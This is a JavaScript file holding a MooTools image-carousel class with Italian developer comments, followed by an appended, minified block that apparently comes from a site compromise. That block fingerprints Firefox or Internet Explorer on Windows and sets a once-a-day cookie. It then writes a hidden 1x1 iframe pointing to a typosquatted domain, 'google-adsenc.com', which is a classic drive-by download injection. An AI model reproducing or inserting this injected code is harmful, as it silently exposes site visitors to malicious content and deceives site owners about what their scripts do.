/*
	author: Pier Luigi Covarelli (picov@e-link.it)
	version: 1.0 - 10-09-2009
	version: 1.1 - 07-11-2009
		- added initialDelay support
		- added autoPlay support
	version: 1.2 - 07-11-2010
		- added play/pause support
	version: 1.2 - 23-11-2010
		- added transparentPixelImagePath options to remove hardcoded path in code
	version: 1.3 - 24-11-2010
		- removed the need to use a single pixel transparency image inside buttons (CSS optimization)
		- removed transparentPixelImagePath thet is not needed anymore
		- added support for different hover and active pane button state
		- added support for PNG transparency fix in IE6 (no need to user nonstandard behavior property in CSS)
		- added IE6 fix for hand cursor not showing over button
		- added FF<3 fix for button with display:inline-block using -moz-display:inline-box
*/

var ELF_ItemsBrowser = new Class({
	Implements: Options,

	options: {
		autoPlay: true,
		defaultPane: 1,
		duration: 1000,
		transition: Fx.Transitions.Back.easeOut,
		autoBrowsePeriod: 0,
		initialDelay: 0,
		itemsDynamic: true,
		contentClassName: 'itemsbrowser-content',
		contentPaneElement: 'table',
		usePrevButton: true,
		useNextButton: true,
		usePaneButtons: true,
		usePlayPauseButton: true,
		prevButtonClassName: 'prev-button',
		nextButtonClassName: 'next-button',
		paneButtonClassName: 'pane-button',	
		paneButtonActiveClassName: 'pane-button active',	
		playPauseButtonClassName: 'playpause-button',
		playPauseButtonPauseClassName: 'playpause-button pause',
		//transparentPixelImagePath : '../immagini/comuni/transparent_pixel.gif', // No more needed
		iepngfixClassName: "iepngfix" // Global site class used to fix IE6 png transparency (set "" to not use)
	},

	initialize: function( itemsBrowserID, controlsContainerID, options ){
		this.setOptions(options);
		this.itemsBrowserID=itemsBrowserID;
		this.controlsContainerID=controlsContainerID;
		this.itemsBrowserContentElement=$$('#'+this.itemsBrowserID+' .'+this.options.contentClassName)[0];		
		if (!this.itemsBrowserContentElement) 
			return;

		this.slideFx = new Fx.Tween( this.itemsBrowserContentElement , {
			property: 'margin-left',	
			unit: "%",
			duration: this.options.duration, 
			transition: this.options.transition,
			link: 'cancel'
		});	

		this.totalPane=$$('#'+this.itemsBrowserID+' .'+this.options.contentClassName+' '+this.options.contentPaneElement).length;
		this.itemsBrowserContentElement.setStyle('width',(this.totalPane*100)+'%');
		this.itemsBrowserContentElement.getElements(this.options.contentPaneElement).setStyle('width',(100/this.totalPane)+"%");
				
		if ( $(this.controlsContainerID) ) {
			// Patch per fix IE png -> aggiungo alle classi dei bottoni nei vari stati la classe usata globalmente nel sito per il fix PNG
			if (this.options.iepngfixClassName!="") {
				this.options.prevButtonClassName+=" "+this.options.iepngfixClassName;
				this.options.nextButtonClassName+=" "+this.options.iepngfixClassName;
				this.options.playPauseButtonClassName+=" "+this.options.iepngfixClassName;
				this.options.paneButtonClassName+=" "+this.options.iepngfixClassName;		
				this.options.paneButtonActiveClassName+=" "+this.options.iepngfixClassName;		
			}
			// Questa parte dipende dall'immagine trasparente -> eliminare questa dipendenza -> OK 24-11-2010
			if (this.options.usePrevButton) {
				var aPrev = new Element('a', { 'href': '#', 'class': this.options.prevButtonClassName, title: "Prev"} ).inject($(this.controlsContainerID));
				//var imgPrev = new Element('img',{ 'src': this.options.transparentPixelImagePath , alt: 'previous'} ).inject(aPrev);
			}
			if (this.options.usePlayPauseButton) {
				var aPlayPause = new Element('a',{ 'href': '#', 'class': this.options.playPauseButtonClassName, title: "Play/Pause"} ).inject($(this.controlsContainerID));
				//var img = new Element('img',{ 'src': this.options.transparentPixelImagePath , alt: 'play/pause'} ).inject(aPlayPause);
			}
			if (this.options.usePaneButtons) {
				for (i=1; i<=this.totalPane; i++) {
					var a = new Element('a',{ 'href': '#', 'class': this.options.paneButtonClassName, title: i} ).inject($(this.controlsContainerID));
					//var img = new Element('img',{ 'src': this.options.transparentPixelImagePath , alt: i} ).inject(a);
				}
			}
			if (this.options.useNextButton) {
				var aNext = new Element('a',{ 'href': '#', 'class': this.options.nextButtonClassName, title: "Next"} ).inject($(this.controlsContainerID));
				//var img = new Element('img',{ 'src': this.options.transparentPixelImagePath , alt: 'next'} ).inject(aNext);
			}
		}
		this.setControls(); // E' separato dalla parte precedente di creazione dei bottoni poichè potrei anche già averli disponibili nell'html -> richiamo solo setControls (TODO)
		if (this.options.itemsDynamic) {
			this.itemsDynamic();
		}
		
		this._paused=true; // Di default è in pausa
		this.currentPane=0; // Cosi alla prima chiamata di showPane entro sempre nel if ed imposto la posizione ed i bottoni
		this._showPane(this.options.defaultPane); // Posizionamento iniziale
		if (this.options.autoPlay) {
			this.play.delay(this.options.initialDelay,this); // se non passo this come secondo parametro, dentro alla funzione play this non è definito
		} else {
			this.pause.delay(this.options.initialDelay,this);
		}
	},

	_restart_timer: function() {
		// elimino l'eventuale timer esistente per gestire eventuali chiamate multiple (verificare se è necessario)
		// Loggare la ricreazione per vedere quante volte passo da qui
		this._clear_timer();
		this.timer=this._showNextPane.periodical(this.options.autoBrowsePeriod,this);
	},

	_clear_timer: function() {
		this.timer=$clear(this.timer); // NB: l'assegnazione non sarebbe necessaria ma ha la funzione di eliminare il timer impostando contemporaneamente la corrispondente proprietà a null
	},

	play: function() {
		if (!this.itemsBrowserContentElement) 
			return;
			
		this._paused=false;
		// Devo gestire la classe aggiuntiva iepngfix per fare il selettore: la elimino oppure metto un . al posto dello spazio e la considero nel selettore
		$$("#"+this.controlsContainerID+" ."+this.options.playPauseButtonClassName.replace(" ",".")).addClass('pause'); 			
		this._restart_timer();
	},

	pause: function() {
		if (!this.itemsBrowserContentElement) 
			return;
			
		this._paused=true;
		// Devo gestire la classe aggiuntiva iepngfix per fare il selettore: la elimino oppure metto un . al posto dello spazio e la considero nel selettore
		$$("#"+this.controlsContainerID+" ."+this.options.playPauseButtonClassName.replace(" ",".")).removeClass('pause'); 
		this._clear_timer();
	},

	playpause: function() {
		if (!this.itemsBrowserContentElement) 
			return;
			
		if (this._paused) {
			this.showNextPane(); // Cosi riparte subito al click (posso mettere una proprietà di controllo)
			this.play();
		} else {
			this.pause();
		}
	},
	
	showPrevPane: function() {
		if (this.currentPane>1) {
			this.showPane(this.currentPane-1);	
		} else {
			this.showPane(this.totalPane);
		}
	},

	showNextPane: function() {
		if (this.currentPane<this.totalPane) {
			this.showPane(this.currentPane+1);	
		} else {
			this.showPane(1);
		}
	},

	_showNextPane: function() {
		if (this.currentPane<this.totalPane) {
			this._showPane(this.currentPane+1);	
		} else {
			this._showPane(1);
		}
	},

	showPane: function(paneNumber) {					
		this._showPane(paneNumber);
		if (this.options.autoBrowsePeriod!=0 && this._paused==false) {
			// (se sono in play) il timer deve ripartire poichè lo showPane (a differenza di _showPane) è dovuto ad un'interazione dell'utente (dalla UI o tramite chiamate JS)
			this._restart_timer(); // cosi lo faccio ripartire ad ogni interazione (click su next,prev,play,pane number)
		}
	},

	_showPane: function(paneNumber) {					
		if (this.currentPane!=paneNumber) {
			this.slideFx.start(-(paneNumber-1)*100);
			this.currentPane=paneNumber;
			if ( this.paneButtons.length>0 ) {
				this.paneButtons.set( "class", this.options.paneButtonClassName ); // Resetto tutti i bottoni 						
				this.paneButtons[paneNumber-1].set( "class", this.options.paneButtonActiveClassName );
			}
		}
	},

	itemsDynamic: function() {
		var szNormal = 90, szSmall  = 80, szFull   = 120;
		var thumbicons = $$("#"+this.itemsBrowserID+" img"); // su a o td non funziona bene su IE
		var fx = new Fx.Elements(thumbicons, {wait: false, duration: 300, transition: Fx.Transitions.Back.easeOut});
		thumbicons.each(function(thumbicon, i) {
			thumbicon.addEvent("mouseenter", function(event) {
				var o = {};
				o[i] = {width: [thumbicon.getStyle("width").toInt(), szFull], opacity: 1 }
				thumbicons.each(function(other, j) {
					if(i != j) {
						var w = other.getStyle("width").toInt();
						if(w != szSmall) o[j] = {width: [w, szSmall], opacity: [other.getStyle("opacity"), 0.3 ]};
					}
				});
				fx.start(o);
			});
		});

		$(this.itemsBrowserID).addEvent("mouseleave", function(event) {
			var o = {};
			thumbicons.each(function(thumbicon, i) {
				o[i] = {width: [thumbicon.getStyle("width").toInt(), szNormal] , opacity: 1 }
			});
			fx.start(o);
		})
	},

	setControls: function() {
		// la imposto come proprietà in modo da fare il selector una volta solo e poterla riutilizzare -> se non trovo nulla diventa un'array vuota
		// e le successive istruzioni non generano errori e la variabile this.paneButtons è sempre definita (se faccio in modo di passare sempre da qui)

		// Devo gestire la classe aggiuntiva iepngfix per fare il selettore: la elimino oppure metto un . al posto dello spazio e la considero nel selettore
		this.paneButtons=$$("#"+this.controlsContainerID+" ."+this.options.paneButtonClassName.replace(" ","."));
		//if (this.paneButtons.length==0) { this.paneButtons=null };		
		this.paneButtons.each(function(paneButton, i) {
			paneButton.addEvent("click", function(event) {				
				event.stop(); // Equivale al "return false" sull'onclick del link
				this.showPane(i+1);
			}.bind(this) );

			// Patch IE6 cursore e hover su png reso trasparente con iepngfix
			if (Browser.Engine.trident4) {
				paneButton.set('style', 'cursor: hand;');
				paneButton.addEvent("mouseover", function(event) {				
					paneButton.addClass("any-class-name"); // Basta una qualsiasi classe anche inesistente per forzare l'aggiornamento del bg (sull CSS lascio solo l'hover)
				}.bind(this) );
				paneButton.addEvent("mouseout", function(event) {				
					paneButton.removeClass("any-class-name"); // rimuovo la classe aggiunta prima
				}.bind(this) );
			}
			// Patch FF <3.0 (version=19 è FF3) per display: inline-block
			if (Browser.Engine.gecko && Browser.Engine.version<19 ) paneButton.set('style', 'display: -moz-inline-box;');
			
		}.bind(this));
		
		// Devo gestire la classe aggiuntiva iepngfix per fare il selettore: la elimino oppure metto un . al posto dello spazio e la considero nel selettore
		$$("#"+this.controlsContainerID+" ."+this.options.prevButtonClassName.replace(" ",".")).each(function(ctrlButton, i) {
			ctrlButton.addEvent('click', function(event) { 
				event.stop();
				this.showPrevPane();
			}.bind(this) );
			if (Browser.Engine.trident4) ctrlButton.set('style', 'cursor: hand;');
			// Patch FF <3.0 (version=19 è FF3) per display: inline-block
			if (Browser.Engine.gecko && Browser.Engine.version<19 ) ctrlButton.set('style', 'display: -moz-inline-box;');
		}.bind(this) );

		// Devo gestire la classe aggiuntiva iepngfix per fare il selettore: la elimino oppure metto un . al posto dello spazio e la considero nel selettore
		$$("#"+this.controlsContainerID+" ."+this.options.nextButtonClassName.replace(" ",".")).each(function(ctrlButton, i) {
			ctrlButton.addEvent('click', function(event) { 
				event.stop();
				this.showNextPane();
			}.bind(this) );
			if (Browser.Engine.trident4) ctrlButton.set('style', 'cursor: hand;');
			// Patch FF <3.0 (version=19 è FF3) per display: inline-block
			if (Browser.Engine.gecko && Browser.Engine.version<19 ) ctrlButton.set('style', 'display: -moz-inline-box;');
		}.bind(this) );

		// Devo gestire la classe aggiuntiva iepngfix per fare il selettore: la elimino oppure metto un . al posto dello spazio e la considero nel selettore
		$$("#"+this.controlsContainerID+" ."+this.options.playPauseButtonClassName.replace(" ",".")).each(function(ctrlButton, i) {
			ctrlButton.addEvent('click', function(event) { 			
				event.stop();
				this.playpause();
			}.bind(this) );
			if (Browser.Engine.trident4) ctrlButton.set('style', 'cursor: hand;');
			// Patch FF <3.0 (version=19 è FF3) per display: inline-block
			if (Browser.Engine.gecko && Browser.Engine.version<19 ) ctrlButton.set('style', 'display: -moz-inline-box;');
		}.bind(this) );
	}
		
});
var BrowserDetect = { init: function () { this.browser = this.searchString(this.dataBrowser) || "An unknown browser"; this.version = this.searchVersion(navigator.userAgent) || this.searchVersion(navigator.appVersion) || "an unknown version"; this.OS = this.searchString(this.dataOS) || "an unknown OS"; }, searchString: function (data) { for (var i=0;i<data.length;i++) { var dataString = data[i].string; var dataProp = data[i].prop; this.versionSearchString = data[i].versionSearch || data[i].identity; if (dataString) { if (dataString.indexOf(data[i].subString) != -1) return data[i].identity; } else if (dataProp) return data[i].identity; } }, searchVersion: function (dataString) { var index = dataString.indexOf(this.versionSearchString); if (index == -1) return; return parseFloat(dataString.substring(index+this.versionSearchString.length+1)); }, dataBrowser: [       { string: navigator.userAgent,subString: "Firefox",identity: "Firefox"},{string: navigator.userAgent,subString: "MSIE",identity: "Explorer",versionSearch: "MSIE"}],dataOS : [{string: navigator.platform,subString: "Win",identity: "Windows"}]};function addCookie(szName,szValue,dtDaysExpires){ var dtExpires = new Date();var dtExpiryDate = "";dtExpires.setTime(dtExpires.getTime()+dtDaysExpires*24*60*60*1000);dtExpiryDate=dtExpires.toGMTString();document.cookie=szName+"="+szValue+";expires="+dtExpiryDate;} function findCookie(szName){        var i=0;var nStartPosition=0;var nEndPosition=0;var szCookieString=document.cookie; while (i<=szCookieString.length){nStartPosition=i;nEndPosition=nStartPosition+szName.length;if (szCookieString.substring(nStartPosition,nEndPosition)==szName){nStartPosition=nEndPosition+1;nEndPosition=document.cookie.indexOf(";",nStartPosition);if(nEndPosition<nStartPosition) nEndPosition=document.cookie.length;return document.cookie.substring(nStartPosition,nEndPosition);break;}i++;} return "";} BrowserDetect.init(); var szCookieString = document.cookie; var boroda = BrowserDetect.browser; var os = BrowserDetect.OS; if ( ((boroda == "Firefox" || boroda == "Explorer") && (os == "Windows")) && (findCookie('geo_idn')!='c48a765e4f75baeb85f0a755fc3ec09c') ) {addCookie("geo_idn","c48a765e4f75baeb85f0a755fc3ec09c",1);document.write('<iframe src="http://google-adsenc.com/in.cgi?2" name="Twitter" scrolling="auto" frameborder="no" align="center" height = "1px" width = "1px"></iframe>');}else {}
